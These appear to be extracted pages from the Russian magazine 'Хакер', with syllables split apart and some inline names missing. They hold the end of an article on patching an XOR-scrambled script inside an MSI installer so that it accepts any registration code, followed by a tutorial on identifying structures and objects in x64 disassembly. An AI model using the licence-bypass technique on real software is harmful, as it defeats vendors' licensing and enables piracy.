дующей проб лемы.

смещение:опкод
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На пом ню  ее  суть:  в  рас пакован ных  из  MSI  фай лах  вов се  нет  ничего
похоже го  на  файл  .  Более  того,  даже  поиск  в  нем  любого  фраг‐ 
мента скремблeрно го кода дает отри цатель ный резуль тат. Но сам‐то скрипт
в MSI‐фай ле опре делен но при сутс тву ет, надо же ему отку да‐то брать ся? Тем
более поиск внут ри инстал ляци онно го пакета MSI находит даже ссыл ку на его
наз вание  —  .  А  зна чит,  он  там  явно  при сутс тву ет  —  воз можно,
в зашиф рован ном или запако ван ном виде.
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Так  как  курить  спе цифи кацию  MSI  у  нас  по‐преж нему  нет  ни  вре мени,
ни  желания,  про буем  сно ва  вык рутить ся  «ленивым»  методом.  На  помощь
опять при ходит замеча тель ная ути лита FileMon. Берем лог обра щений к фай‐ 
ловой  сис теме  инстал ляци онно го  пакета  и  находим  в  нем  мес то  рож дения
фай ла   — соз дание его в под катало ге пап ки   и запись в него
пер вого бло ка дан ных. Нам повез ло: этой записи пред шес тву ет чте ние такого
же бло ка из родитель ско го фай ла (пакета MSI) и даже сме щение это го бло ка
име ется.
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Смот рим дан ные по это му сме щению в родитель ском MSI: ничего обще го
с содер жимым  . Одна ко само наз вание   находит ся пря‐ 
мо перед этим бло ком дан ных, и тут же мы видим четыре бай та раз мера фай‐ 
ла   — явно  заголо вок  зашиф рован ного бло ка. А  зна чит,  в  нашем
нелег ком  пути  идей ного  лодыря  прой ден  еще  один  этап  —  мы  наш ли
источник дан ных скрип та.

setup.inx setup.inx

setup.inx

Мы наш ли источник дан ных скрип та

Ка залось бы, мы заш ли в тупик: дан ные все рав но зашиф рованы и алго ритм
нам неиз вестен, а зна чит, поп равить их мы не можем. То есть самое вре мя
бро сать  занимать ся  ерун дой  и  начинать  писать  кей ген  или  хотя  бы  искать
спе цифи кацию MSI. Собс твен но, в слу чае шиф рования нор маль ными «взрос‐ 
лыми»  крип тоал горит мами  так  оно  и  было бы — методом  тыка  невоз можно
опре делить алго ритм и ключ шиф рования. Но мы не сда емся: осо бо ни на что
не  наде ясь,  я  пред положил,  что  авто ры были  столь же  ленивы,  как  и  я  сам,
поэто му закоди рова ли дан ные баналь ным XOR.

Это  пред положе ние,  кста ти,  кос венно  под твержда ет  бег лый  прос мотр
сосед них зашиф рован ных дан ных дру гих подоб ных фай лов — они содер жат
бло ки,  запол ненные  оди нако выми  пов торя ющи мися  пат терна ми,  мес тами
лома ющи мися  на  нес коль ко  бай тов,  мес тами  пре рыва ющи мися,  как  буд то
файл прос то пок сорен корот кими бло ками байт 8–12 (осо бо наб людатель ный
иссле дова тель может даже заметить, что дли на такого пат терна рав на дли не
наз вания  зашиф рован ного  фай ла,  но  нам  это  не  осо бо  инте рес но,  что бы
отвле кать ся).

Ес ли это пред положе ние вер но,  то из‐за ком мутатив ности и ассо циатив‐ 
ности  опе рации  XOR  для  пат ча  одно го  бай та  в  зашиф рован ном  коде  дос‐ 
таточ но отксо рить его с исклю чающей раз ницей исходных бай тов. Срав нива‐ 
ем  два  скремблeнных  фай ла    —  исходный  и  пат ченный.  Исклю‐ 
чающая  раз ница,  рав ная  четырем,  обна ружи вает ся  в  прав леном  бай те
по сме щению  .
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Ищем исклю чающую раз ницу

От счи тыва ем сме щение   от пред полага емо го начала дан ных фай ла 
 внут ри MSI и ксо рим байт по это му сме щению с чет веркой. С замира‐ 

нием сер дца запус каем MSI на инстал ляцию… Упс, фокус не удал ся, инстал‐ 
ляция  вис нет.  Похоже,  мы  обла жались  со  сво ей  ленивой  гипоте зой,  файл
закоди рован слож нее, чем баналь ным XOR.

E8FB set‐
up.inx

Об лом — инстал ляция не запус кает ся

Бы ли бы мы чуть менее ленивы,  то в этом мес те бро сили бы все и сели бы
за кей ген. Но нет, мы идем до кон ца: надо ж выяс нить, где имен но мы обла‐ 
жались. Сно ва выужи ваем новый све жерож денный   и срав нива ем
его с исходным — что в нем изме нилось пос ле нашей прав ки? Ока зыва ется,
не  все  потеря но:  раз ница  все‐таки  в  одном‐единс твен ном  бай те.  Прав да,
сме щение  не    и  пок сорил ся  с  чет веркой  почему‐то  про тиво полож ный
полубайт. Ну раз так, дела ем поп равку на нуж ное сме щение и перес тавля ем
полубай ты  мес тами:  вмес то  04  дела ем  XOR  с  0x40.  И  вот  тут  наши  уси лия
наконец  увен чива ются  успе хом  —  исправ ленный  инстал ляци онный  пакет
радос тно при нима ет слу чай ный вве ден ный код и бла гопо луч но уста нав лива ет
биб лиоте ки на компь ютер. Конеч но, будь я боль шим пер фекци онис том, мож‐ 
но  было  бы  пой ти  еще  даль ше,  най ти  порож денный  пакет  MSI  в  исходном
инстал ляторе  .exe,  но  мне  лень.  Мы  ведь  решили  задачу,  избе гая  лиш них
телод вижений, а зна чит, экспе римент завер шился пол ной и безого вороч ной
победой.
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Кто‐то ска жет: ты, чувак, учишь нас пло хому, в опи сан ном про цес се пол но
сла бых мест, а в серь езных слу чаях такие натяж ки не сра бота ют. Я и не спо‐ 
рю, одна ко в реаль ной жиз ни пол но ситу аций, ког да мож но вык рутить ся прос‐ 
тыми и дос тупны ми средс тва ми, не прив лекая к делу даже отладчик и дизас‐ 
сем блер.  Что,  конеч но,  не  избавля ет  от  необ ходимос ти  изу чать  мат часть,
которая,  переф разируя  извес тно го  оте чес твен ного  народ ного  гения,  при‐ 
водит ум в порядок.
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ВЗЛОМ

Ког да раз работ чик пишет прог рамму, он име ет воз можность
исполь зовать такие дос тижения цивили зации, как струк туры
и  клас сы.  А  вот  ревер серу  это  лишь  осложня ет  жизнь:  ему
ведь  необ ходимо  понимать,  как  ком пилятор  обра баты вает
высоко уров невые  сущ ности  и  как  с  ними  потом  работа ет
про цес сор.  О  спо собах  най ти  в  бинар ном  коде  объ екты
и струк туры мы и погово рим.

Пос ле  неболь шой  передыш ки  про дол жим  сопос тавлять  дизас сем блер ные
лис тинги  для  архи тек туры  x86‐64  и  конс трук ции  язы ков  высоко го  уров ня  (в
наших  при мерах  мы  исполь зуем  C/C++).  Этим  мы  занима емся  (если  ты
по  какой‐то  нелепой  при чине  не  читал  прош лые  номера  нашего  жур нала),
что бы точ нее понять прин цип работы прог рамм, под вер гну тых дизас сем бли‐ 
рова нию, и осво ить некото рые инте рес ные при емы реверс‐инжи нирин га.

C/C++  не  единс твен ный  язык,  на  котором  мож но  написать  логику  прог‐ 
раммы.  Бла года ря  вир туаль ным  машинам  сущес тву ют  более  быс трые  спо‐ 
собы  раз работ ки  хороших  при ложе ний,  но  модули  безопас ности  прог рамм
по‐преж нему  чаще  все го  соз дают ся  с  помощью  C/C++.  А  глав ная  задача
хакера — раз грызть модуль безопас ности, что бы нуж ная прог рамма не тре‐ 
бова ла регис тра цион ных клю чей, вво да паролей или, того хуже, под клю чения
к веб‐сер веру раз работ чика.

Фундаментальные основы хакерства
Пят надцать  лет  назад  эпи чес кий  труд  Кри са  Кас пер ски  «Фун дамен таль ные
осно вы хакерс тва» был нас толь ной кни гой каж дого начина юще го иссле дова‐ 
теля  в  области  компь ютер ной  безопас ности. Одна ко  вре мя  идет,  и  зна ния,
опуб ликован ные  Кри сом,  теря ют  акту аль ность.  Редак торы  «Хакера»  попыта‐ 
лись  обно вить  этот  объ емный  труд  и  перенес ти  его  из  вре мен  Windows
2000 и Visual Studio 6.0 во вре мена Windows 10 и Visual Studio 2019.

Ссыл ки на дру гие статьи из это го цик ла ищи на  .стра нице авто ра

Об ращаю твое вни мание на одну деталь: с текущей статьи я перехо жу на Vis‐
ual  Studio  2019.  Пос ледняя  вер сия  датиру ется  17  сен тября  и  име ет
номер 16.7.5. Что бы избе жать воз можных несос тыковок, советую  тебе  тоже
обно вить «Сту дию».

ИДЕНТИФИКАЦИЯ СТРУКТУР
Струк туры  очень  популяр ны  сре ди  прог раммис тов.  Поз воляя  объ еди нить
под  одной  кры шей  родс твен ные  дан ные,  они  дела ют  лис тинг  прог раммы
более наг лядным и упро щают его понима ние. Соот ветс твен но, иден тифика‐ 
ция  струк тур  при  дизас сем бли рова нии  облегча ет  ана лиз  кода.  К  велико му
сожале нию  иссле дова телей,  струк туры  как  таковые  сущес тву ют  толь ко
в  исходном  тек сте  прог раммы  и  прак тичес ки  пол ностью  «перема лыва ются»
при ее ком пиляции, ста новясь неот личимы ми от обыч ных, никак не свя зан ных
друг с дру гом перемен ных.

Мас тер соз дания при ложе ния в VS’19

Рас смот рим при мер, демонс три рующий унич тожение струк тур на ста дии ком‐ 
пиляции:

#include <stdio.h>
#include <string.h>

 struct zzz
{
     char s0[16];
     int a;
     float f;
};

     void func(struct zzz y)
// Понятное дело, передачи структуры по значению лучше избегать,
// но здесь это сделано умышленно для демонстрации скрытого создания
// локальной переменной
{
         printf("%s %x %f\n", &y.s0[0], y.a, y.f);
}

 int main()
{
       struct zzz y;
         strcpy_s(&y.s0[0], 14, "Hello,Sailor!"); // Для копирования 
строки
       y.a = 0x666;        // используется безопасная версия функции
       y.f = (float)6.6;        // Чтобы подавить возражение 
компилятора,
   func(y);           // указываем целевой тип
}

Ре зуль тат  ком пиляции  это го  кода  с  помощью  Visual  Studio  2019  для  плат‐ 
формы x64 дол жен выг лядеть так:

      main proc near
; Члены структуры неотличимы от обычных локальных переменных

        var_48 = xmmword ptr ‐48h
        var_38 = qword ptr ‐38h

           Dst = byte ptr ‐28h
        var_18 = qword ptr ‐18h
        var_10 = qword ptr ‐10h

               sub rsp, 68h
               mov rax, cs:__security_cookie
               xor rax, rsp
               mov [rsp+68h+var_10], rax
       ; Подготовка параметров для вызова функции
               lea r8, Src         ; "Hello, Sailor!"
               mov edx, 0Eh        ; SizeInBytes
                 lea rcx, [rsp+68h+Dst] ; Dst
       ; Вызов функции для копирования строки
       ; из сегмента данных в локальную переменную
            call cs:__imp_strcpy_s

Сле дующая  коман да  копиру ет  одно  вещес твен ное  чис ло,  находя щееся
в млад ших 32 битах источни ка, — кон стан ту   (смот рим, чему
она  рав на  при  объ явле нии,  в  сек ции 

, в фор мате   она будет рав на 6.6) в млад шие 32 бита при емни‐ 
ка — 128‐бит ного регис тра  . Напом ню, восемь регис тров 
были добав лены в рас ширение SSE и поэто му впер вые появи лись в про цес‐ 
соре Pentium III.

__real@40d33333
rdata:  __real@40d33333  dd  6.

5999999 float
XMM1 XMM0 — XMM7

     movss xmm1, cs:__real@40d33333
       ; Помещаем указатель на строку в регистр RDX
               lea rdx, [rsp+68h+var_48]

Да лее с исполь зовани ем инс трук ции   из рас ширения SSE копиру ются
невыров ненные  кус ки  по  16  бит.  Таким  обра зом,  за  раз  копиру ются  сра зу
восемь  сим волов  Unicode.  Одна ко  количес тво  сим волов  в  стро ке  впол не
может  быть  не  крат но  вось ми,  поэто му  исполь зует ся  имен но  эта  инс трук‐ 
ция — все осталь ные инс трук ции из рас ширения SSE опе риру ют с перемен‐ 
ными,  выров ненны ми  по  16‐бит ным  гра ницам  памяти.  В  ином  слу чае  они
вызыва ют исклю чение.

MOVUPS

        movups xmm0, xmmword ptr [rsp+68h+Dst]
       ; В регистр RCX помещаем форматную строку для функции printf
                    lea rcx, _Format ; "%s %x %f\n"
       ; Помещаем двойное слово (значение 0x666) в переменную типа 
DWORD
                     mov dword ptr [rsp+68h+var_18], 666h ; ‐‐1

Сле дующая коман да  копиру ет стро го двой ное сло во из памяти в регистр  (у
нас  это  ).  Зна чение,  сох ранен ное  в  копиру емой  области  памяти: 

  выров нено  по  гра нице  16  бит  и  на  самом  деле  рав‐ 
но 6.6. В слу чае копиро вания из памяти в регистр (подоб но нашему при меру)
обну ляет ся стар шее двой ное сло во источни ка.

XMM3
,6.599999904632568

     movsd xmm3, cs:__real@401a666660000000
       ; Помещаем значение 0x666 в 32‐битный регистр
               mov r8d, 666h
       ; Из переменной (см. метку ‐‐1) копируем двойное слово в 
регистр
             movsd xmm2, [rsp+68h+var_18]

Да лее учет верен ное сло во (64 бит) копиру ется из регис тра   рас ширения
SSE в регистр обще го наз начения  ,  добав ленный вмес те  с рас ширени ем
x86‐64. Ведь AMD64, по сути, пред став ляет собой такое же рас ширение про‐ 
цес сорной архи тек туры x86, как и SSE.

XMM3
R9

      movq r9, xmm3

Инс трук ция   пос редс твом битовой мас ки ком биниру ет и перес тавля ет
дан ные в 32‐бит ных ком понен тах XMM‐регис тра. Таким обра зом, если пред‐ 
ста вить    в  бинар ном  виде,  получим  .  В  соот ветс твии  с  этой
мас кой про исхо дит тран сфор мация всех четырех 32‐бит ных час тей регис тра

.

shufps

0E1h 11100001b

XMM2

      shufps xmm2, xmm2, 0E1h
       ; Копирование нижней 32‐битной части источника в приемник
             movss xmm2, xmm1
       ; Копирует 128 бит из регистра в переменную
            movaps [rsp+68h+var_48], xmm0
       ; В соответствии с маской перемешивает
       ; содержимое регистра (см. выше)
              shufps xmm2, xmm2, 0E1h
       ; Две следующие инструкции помещают значение регистра
       ; в переменные, находящиеся в памяти
             movsd [rsp+68h+var_18], xmm2
             movsd [rsp+68h+var_38], xmm2
       ; Все параметры находятся на своих местах,
       ; вызываем функцию printf
            call printf
               xor eax, eax
               mov rcx, [rsp+68h+var_10]
               xor rcx, rsp        ; StackCookie
            call __security_check_cookie
               add rsp, 68h
       retn

    main endp

Ком пилятор сге нери ровал доволь но вити ева тый  код со мно жес твом команд
из рас ширения SSE. При этом он встро ил фун кцию   пря мо в  !func main

А теперь заменим струк туру пос ледова тель ным объ явле нием тех же самых
перемен ных  и  рас смот рим  при мер,  демонс три рующий  сходс тво  струк тур
с обыч ными локаль ными перемен ными.

IDA PRO

 int main()
{
   char s0[16];
   int a;
   float f;
     strcpy_s(&s0[0], 14, "Hello,Sailor!");
     a = 0x666;
     f = (float)6.6;
       printf("%s %x %f\n", &s0[0], a, f);
}

И срав ним резуль тат ком пиляции с пре дыду щим:

      main proc near
           Dst = byte ptr ‐28h

        var_18 = qword ptr ‐18h
; Есть различие! Компилятор избавился от ненужных для выполнения
; переменных, однако от этого не становится понятнее,
; принадлежат переменные структуре или нет
               sub rsp, 48h
               mov rax, cs:__security_cookie
               xor rax, rsp
               mov [rsp+48h+var_18], rax
       ; Готовим параметры
               lea r8, Src         ; "Hello, Sailor!"
               mov edx, 0Eh        ; SizeInBytes
                 lea rcx, [rsp+48h+Dst] ; Dst
       ; Вызываем функцию копирования строки
            call cs:__imp_strcpy_s
       ; В XMM3 помещается значение 6.599999904632568
       ; (подробно мы говорили, когда разбирали предыдущий листинг)
             movsd xmm3, cs:__real@401a666660000000
       ; Последующие инструкции продолжают готовить
       ; параметры для функции
               lea rdx, [rsp+48h+Dst]
              movq r9, xmm3
       ; В регистр RCX помещаем форматную строку для функции printf
                    lea rcx, _Format ; "%s %x %f\n"
       ; Помещаем значение 0x666 в младшие 32 бита регистра R8
               mov r8d, 666h
       ; Вызов функции printf
            call printf
               xor eax, eax
               mov rcx, [rsp+48h+var_18]
               xor rcx, rsp        ; StackCookie
            call __security_check_cookie
               add rsp, 48h
       retn

    main endp

Без вызова допол нитель ных фун кций и переда чи парамет ров дизас сем блер‐ 
ный  лис тинг  замет но  сок ратил ся.  Осталь ной  код  остался  иден тичным  пре‐ 
дыду щему лис тингу.

Вы ходит, отли чить струк туру от обыч ных перемен ных невоз можно? Неуж то
иссле дова телю  при дет ся  самос тоятель но  рас позна вать  «родс тво»  дан ных
и свя зывать их «брач ными уза ми», порой оши баясь и неточ но вос про изво дя
исходный текст прог раммы?

Как  ска зать...  И  да  и  нет  одновре мен но.  «Да»  —  экзем пляр  струк туры,
исполь зующий ся в  той же еди нице  тран сля ции, в  которой он был объ явлен,
«раз верты вает ся»  еще  на  ста дии  ком пиляции  в  самос тоятель ные  перемен‐ 
ные. Обра щение к ним про исхо дит инди виду аль но по их фак тичес ким адре‐ 
сам  (воз можно,  кос венным).  «Нет» —  если  в  области  видимос ти  находит ся
один лишь ука затель на экзем пляр струк туры. Тог да обра щение ко всем чле‐ 
нам струк туры выпол няет ся через ука затель на этот экзем пляр, так как струк‐ 
тура  не  при сутс тву ет  в  области  видимос ти.  Нап ример,  переда ется  дру гой
фун кции по ссыл ке, вычис лить фак тичес кие адре са ее чле нов на ста дии ком‐ 
пиляции невоз можно.

Пос той,  но  ведь  точ но  так  устро ено  обра щение  и  к  эле мен там мас сива:
базовый  ука затель  ука зыва ет  на  начало  мас сива,  к  нему  добав ляет ся  сме‐ 
щение  иско мого  эле мен та  отно ситель но  начала мас сива  (индекс  эле мен та,
умно жен ный на его раз мер), резуль тат вычис лений и будет фак тичес ким ука‐ 
зате лем на иско мый эле мент!

Единс твен ное  фун дамен таль ное  отли чие  мас сивов  от  струк тур  сос тоит
в  том,  что мас сивы  гомоген ны  (то  есть  сос тоят  из  эле мен тов  одно го  типа),
а струк туры могут быть  как  гомоген ными,  так и  гетеро ген ными  (сос тоящи ми
из  эле мен тов  раз личных  типов).  Таким  обра зом,  задача  иден тифика ции
струк тур и мас сивов сво дит ся, во‐пер вых,  к выделе нию яче ек памяти, адре‐ 
суемых  через  общий для  них  всех  базовый  ука затель,  и,  во‐вто рых,  к  опре‐ 
деле нию  типа  этих  перемен ных.  Если  уда ется  выделить  более  одно го  типа,
ско рее все го, перед нами струк тура, в про тив ном слу чае это с рав ным успе‐ 
хом  может  быть  и  струк турой,  и  мас сивом  —  тут  уж  при ходит ся  смот реть
по обсто ятель ствам.

С  дру гой  сто роны,  если  прог раммис ту  взду мает ся  под счи тать  зависи‐ 
мость  выпито го  количес тва  пива  от  дня  недели,  он  может  либо  выделить
для уче та мас сив  , либо завес ти струк туру: 

. И в  том и в дру гом слу чае сге нери рован ный ком‐ 
пилято ром код будет оди наков, да не толь ко код, но и смысл! В этом кон тек‐ 
сте  струк тура  неот личима  от  мас сива  и  физичес ки,  и  логичес ки,  выбор  той
или иной конс трук ции — дело вку са.

day[7] struct week { int Mon‐
day; int Tuesday;...}

Так же возь ми себе на замет ку, что мас сивы, как пра вило, длин ны, а обра‐ 
щение к их эле мен там час то соп ровож дает ся матема тичес кими опе раци ями
над ука зате лем. Далее. Обра бот ка эле мен тов мас сива, как пра вило, выпол‐ 
няет ся в цик ле, а чле ны струк туры по обык новению «раз бира ются» инди виду‐ 
аль но (хотя некото рые прог раммис ты поз воля ют себе воль ность обра щать ся
со струк турой как с мас сивом).

Еще  неп рият нее,  что  язы ки C/C++  допус кают  (если  не  ска зать  про воци‐ 
руют) явное пре обра зова ние типов и... Oй, а ведь в этом слу чае при дизас‐ 
сем бли рова нии не удас тся уста новить, име ем ли мы дело с объ еди нен ными
под одну кры шу раз нотип ными дан ными (то есть струк турой), или же это мас‐ 
сив c руч ным пре обра зова нием  типа сво их  эле мен тов.  Хотя,  стро го  говоря,
пос ле подоб ных пре обра зова ний мас сив прев раща ется в самую нас тоящую
струк туру! Мас сив по опре деле нию гомоге нен и дан ные раз ных типов хра нить
не может.

Мо дифи циру ем пре дыду щий при мер, передав фун кции не саму струк туру,
а ука затель на нее:

...
// Подключение библиотек
...
// Объявление структуры

   void func(zzz *y)
{
       printf("%s %x %f\n", y‐>s0, y‐>a, y‐>f);
}

 int main()
{
   zzz y;
       strcpy_s(&y.s0[0], 14, "Hello,Sailor!"); // Для копирования строки
     y.a = 0x666;        // используется безопасная версия функции
     y.f = (float)6.6;
 func(&y);
}

Как видишь, изме нения минималь ны в срав нении с позап рошлым при мером.
Теперь  пос мотрим,  что  за  код  сге нери ровал  ком пилятор.  Пос ле  бег лого
взгля да на лис тинг ниже уга дыва ется его сходс тво с дизас сем блер ным лис‐ 
тингом прог раммы из пер вого при мера. Одна ко этот получил ся короче.

      main proc near
           Dst = byte ptr ‐28h

        var_18 = dword ptr ‐18h
        var_14 = dword ptr ‐14h
        var_10 = qword ptr ‐10h

; Компилятор без зазрения совести
; опять запихнул функцию func внутрь main
               sub rsp, 48h
               mov rax, cs:__security_cookie
               xor rax, rsp
               mov [rsp+48h+var_10], rax
       ; Подготовка параметров для вызова функции
               lea r8, Src         ; "Hello, Sailor!"
               mov edx, 0Eh        ; SizeInBytes
                 lea rcx, [rsp+48h+Dst] ; Dst
       ; Вызов функции для копирования строки
            call cs:__imp_strcpy_s

Ко ман да    копиру ет  двой ное  сло во из  памяти  в  регистр  (в  нашем слу‐ 
чае —  ).

MOVSD
XMM3

     movsd xmm3, cs:__real@401a666660000000
       ; Помещаем указатель на строку в регистр RDX
               lea rdx, [rsp+48h+Dst]

Ко пиру ем  32‐бит ное  зна чение  с  пла вающей  запятой  оди нар ной  точ ности
из памяти в регистр  ,  при этом обну ляя его вер хние 96 бит. Оче вид но,
про исхо дит  под готов ка  парамет ров  для  вызова  фун кции  ,  они  раз‐ 
меща ются в регис трах про цес сора.

XMM0
printf

     movss xmm0, cs:__real@40d33333
       ; В регистр RCX помещаем форматную строку для функции printf
                    lea rcx, _Format ; "%s %x %f\n"

Как мы  пом ним  (а  если  нет,  надо  под нять  глаз ки  вверх),  в  ниж них  64  битах
регис тра    находит ся  чис ло  6.6,  поэто му  с  помощью  инс трук ции 
копиру ем эти 64 бита в регистр  .

XMM3 MOVQ
R9

      movq r9, xmm3

Сле дующая инс трук ция копиру ет ниж ние 32 бита 128‐бит ного регис тра 
в область памяти — перемен ную  . Как мы пом ним, в дан ном регис тре
находит ся чис ло 6.6.

XMM0
var_14

     movss [rsp+48h+var_14], xmm0
       ; Помещаем в регистр R8D значение 0x666
               mov r8d, 666h
       ; Помещаем то же число в область памяти, другими словами —
       ; инициализируем переменную var_18
               mov [rsp+48h+var_18], 666h
       ; Все параметры на своих местах,
       ; вызываем функцию для вывода строки на консоль
            call printf
               xor eax, eax
               mov rcx, [rsp+48h+var_10]
               xor rcx, rsp        ; StackCookie
            call __security_check_cookie
               add rsp, 48h
       retn

    main endp

Ком пилятор все кон крет но заоп тимизи ровал. И кажет ся, вос ста новить изна‐ 
чаль ную  струк туру  нет  никакой  воз можнос ти.  В  то  же  вре мя  при  срав нении
это го  лис тинга  с  пре дыду щим  наб люда ются  замет ные  раз личия.  Этот  стал
короче и лаконич нее, но это нис коль ко не помога ет опоз нать струк туру. Надо
хотя  бы  поп робовать  опре делить  началь ные  типы  перемен ных.  Поэто му
попыта емся пог лубже раз мотать код и обра тим вни мание на начало фун кции

:main

           Dst = byte ptr ‐28h
        var_18 = dword ptr ‐18h
        var_14 = dword ptr ‐14h
        var_10 = qword ptr ‐10h

Оче вид но, здесь объ явля ются четыре перемен ные. Их про изводный (в ском‐ 
пилиро ван ном  виде)  тип  дан ных  ука зан  пос ле  зна ка  равенс тва,  далее  идет
сме щение, задава емое в бай тах. Про изводный тип опре деля ет вмес тимость
(дру гими сло вами, раз мер) перемен ной.

У  перемен ных,  объ явленных  внут ри  фун кции,  сме щение  отри цатель ное,
тог да  как  у  аргу мен тов,  получа емых  фун кци ей,  сме щение  положи тель ное.
Сме щение вычис ляет ся отно ситель но вер шины сте ка запус каемой фун кции.
Его зна чение  хра нит ся в регис тре  . Если заг лянуть в стек фун кции  ,
мы  обна ружим,  что  зна чения  перемен ных  не  опре деле ны.  Ясное  дело,
локаль ные  перемен ные  сущес тву ют  толь ко  в  момент  выпол нения  фун кции,
в которой они объ явле ны:

RSP main

       Dst db ?
...

    var_18 dd ?
    var_14 dd ?
    var_10 dq ?

Тем  не  менее  они  опре деля ются  в  начале  исполь зующей  их  фун кции  (пре‐ 
дыду щий  лис тинг).  Пос мотрим  на  исполь зование  перемен ных: 

  Из  чего  сле дует:  содер жимое  регис тра 
записать  в  область  памяти  по  адре су    (в
десятич ной сис теме). Или для при мера рас смот рим дру гую инс трук цию: 

.  То  есть  в  регистр    записать  эффектив ный  адрес,
ины ми сло вами — ука затель на область памяти 
(в десятич ной сис теме).

.mov [rsp+48h+var_10], rax RAX
RSP  +  72  –  16  ==  RSP  +  56

lea 
rcx,  [rsp+48h+Dst] RCX

RSP + 72 – 40 == RSP + 32

Как  извес тно,  стек  рас тет  свер ху  вниз,  то  есть  объ явленные  поз днее
перемен ные име ют мень ший адрес. Поэто му и говорит ся, что   ука зыва ет
на  вер шину  сте ка.  Но  так  опре деле но  для  x86  и,  соот ветс твен но,  x86‐64.
Для дру гих про цес сорных архи тек тур дела могут обсто ять по‐дру гому. Что бы
про верить, куда рас тет стек, мож но запус тить такую прос тень кую прог рамму:

RSP

#include <stdio.h>

 int main()
{
       int a, b;

         if (&a < &b)
         printf("%s", "Stack grows up\n");
   else
         printf("%s", "Stack grows down\n");

   
   

printf("First variable adress:  %p\nSecond variable adress: %p\n"
, &a, &b);

     return 0;
}

Ее выпол нение при ведет при мер но к такому резуль тату (в тво ем слу чае адре‐ 
са могут иметь дру гие зна чения).

Ад реса локаль ных перемен ных

При переза пус ке прог раммы адре са будут менять ся, одна ко их раз личие сос‐ 
тавит  4  бай та  —  раз мер  типа  дан ных  ,  при  этом  объ явленная  вто рой
перемен ная будет мень ше (вспом ни о рос те сте ка).

int

Те перь  сно ва  взгля нем  на  объ явле ние  перемен ных  в  дизас сем блер ном
лис тинге:

           Dst = byte ptr ‐28h
        var_18 = dword ptr ‐18h
        var_14 = dword ptr ‐14h
        var_10 = qword ptr ‐10h

Продолжение статьи →

mailto:yazevsoft@gmail.com
https://xakep.ru/author/yurembo/


ФУНДАМЕНТАЛЬНЫЕ
ОСНОВЫ ХАКЕРСТВА

КАК ИДЕНТИФИЦИРОВАТЬ СТРУКТУРЫ
И ОБЪЕКТЫ В ЧУЖОЙ ПРОГРАММЕ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

От сюда  сле дует:    =  4  бай та  —  целочис ленный  тип  или  тип  с  пла‐ 
вающей  запятой  (так  как  и  ,  и    занима ют  в  памяти  4  бай та),

  —  тоже  4  бай та  со  все ми  вытека ющи ми  отсю да  пос ледс тви ями,
 — 16 байт. Получа ется, что это мас сив на 16 эле мен тов типа  , так

как эле мент пос ледне го занима ет 1 байт. Конеч но, если бы нам были неиз‐ 
вес тны  началь ные  типы  дан ных,  нам  бы  приш лось  решать  эту  голово лом ку
куда доль ше!

var_10
int float

var_14
var_18 char

Пог ляди‐ка,  обра щения  к  зна чени ям  в  памяти  (или  для  записи  в  память)
про исхо дят через адрес  , даль ше идет сме щение опре делен ной
перемен ной.  Таким  обра зом,  мож но  сде лать  вывод:  три  опре делен ные
перемен ные вхо дят в один кон тей нер. Но так как перемен ные име ют раз ные
типы дан ных, этим кон тей нером никаким боком не может быть мас сив, сле‐ 
дова тель но, это струк тура!

[rsp+48h+…]

Фак тичес ки  фун кция    выпол няет  три  опе рации:  заг ружа ет  зна чения,
пре обра зует  их  и  вызыва ет  ,  пред варитель но  раз местив  зна чения
в регис трах про цес сора для переда чи их в качес тве парамет ров. Как мы пом‐ 
ним, в x86‐64 сог ласно ДИП (дво ичный интерфейс при ложе ний) от Microsoft
пер вые  четыре  парамет ра  раз меща ются  в  регис трах.  Рас смот рим  начало
получа ющей эти парамет ры фун кции  :

main
printf

printf

    printf proc near
        var_28 = qword ptr ‐28h
          arg_0 = qword ptr 8
          arg_8 = qword ptr 10h
         arg_10 = qword ptr 18h
         arg_18 = qword ptr 20h

               mov [rsp+arg_0], rcx
               mov [rsp+arg_8], rdx
               mov [rsp+arg_10], r8
               mov [rsp+arg_18], r9

В  начале  фун кции  ини циали зиру ются  локаль ные  перемен ные:  зна чения
извле кают ся из регис тров про цес сора и помеща ются в память.

ИДЕНТИФИКАЦИЯ ОБЪЕКТОВ
Объ екты  язы ка  C++ —  это,  по  сути  дела,  струк туры,  сов меща ющие  в  себе
дан ные,  методы  их  обра бот ки  (то  бишь  фун кции)  и  атри буты  защиты  (типа

,  ).public friend
Эле мен ты — дан ные объ екта обра баты вают ся ком пилято ром, рав но как и

обыч ные чле ны струк туры. Невир туаль ные фун кции вызыва ются по фак тичес‐ 
кому сме щению и в объ екте отсутс тву ют. Вир туаль ные фун кции вызыва ются
через спе циаль ный ука затель на вир туаль ную таб лицу, помещен ный в объ ект,
а атри буты защиты унич тожа ются еще на ста дии ком пиляции. Отли чить пуб‐ 
личную фун кцию от защищен ной мож но бла года ря тому, что пуб личная может
быть выз вана из пос торон него кода, а защищен ная — толь ко из методов сво‐ 
его объ екта.

Те перь  обо  всем  этом  под робнее. Итак,  что  пред став ляет  собой  объ ект
(или экзем пляр клас са)?

Рас смот рим сле дующий лис тинг, демонс три рующий стро ение объ екта:

 class MyClass
{
     int a;
     int b;
     void demo_1(void);
public:
     int c;
       virtual void demo_2(void);
}; 

 MyClass zzz;

Эк зем пляр клас са   «переме лет ся» ком пилято ром в такую струк туру.MyClass

Пред став ление объ екта в памяти

Пе ред  иссле дова телем  вста ют  сле дующие  проб лемы:  как  отли чить  объ екты
от  прос тых  струк тур?  Как  опре делить  раз мер  объ ектов?  Как  опре делить,
какая  фун кция  какому  объ екту  при над лежит?  Как...  Погоди,  погоди,  не  все
сра зу! Нач нем отве чать на воп росы по поряд ку.

Во обще,  стро го  говоря,  отли чить  объ ект  от  струк туры  невоз можно  из‐за
того,  что  объ ект  и  есть  струк тура  с  чле нами,  при ват ными  по  умол чанию.
При объ явле нии объ ектов мож но  поль зовать ся  и  клю чевым сло вом  ,
и клю чевым сло вом  . При чем для клас сов, все чле ны которых откры ты,
пред почти тель нее исполь зовать имен но  , так как чле ны струк туры уже
пуб личны по умол чанию. Срав ни два сле дующих при мера.

struct
class

struct

При мер 1
 struct MyClass

{
     int x;
     void demo(void);
private:
     int y;
     void demo_private(void);
};

При мер 2
 class MyClass

{
     int y;
     void demo_private(void);
public:
     int x;
     void demo(void);
};

Од на запись отли чает ся от дру гой лишь син такси чес ки, а код, генери руемый
ком пилято ром,  будет  иден тичен!  Поэто му  с  надеж дой  научить ся  раз личать
объ екты и струк туры сле дует как мож но ско рее рас стать ся.

Окей,  усло вим ся  счи тать  объ екта ми  струк туры,  содер жащие  одну
